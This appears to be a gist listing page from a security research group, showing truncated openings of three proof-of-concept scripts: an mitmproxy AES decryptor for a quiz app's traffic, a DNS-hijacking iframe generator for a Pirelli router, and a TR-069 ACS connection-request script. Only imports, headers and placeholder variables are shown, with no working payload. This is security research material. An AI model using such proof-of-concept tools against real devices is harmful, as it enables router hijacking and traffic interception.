This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# For more information you can visit the relevant blog post https://projectzero.gr/en/2015/09/the-keys-to-the-quizdom/ | |
# Sensitive data (keys,iv etc.) have been removed for obvious reasons | |
import json | |
from libmproxy.protocol.http import decoded | |
from aesdecr import AESCipher | |
from Crypto.Cipher import AES | |
from Crypto import Random | |
BS = 16 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
##PoC iframe generator for Pirelli P.RG A4201G | |
##DNS Hijacking by projectzero | |
##www.projectzero.gr | |
##Primary DNS | |
dns1 = "0.0.0.0" | |
dns1_split = dns1.split('.') |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
import requests | |
acs_server = "http://<server>:<port>" | |
acs_user = "user" | |
acs_pass = "pass" | |
# Connection request parameters. When a request is made to the following URL, | |
# using the specified user/pass combination, router will connect back to the ACS server. |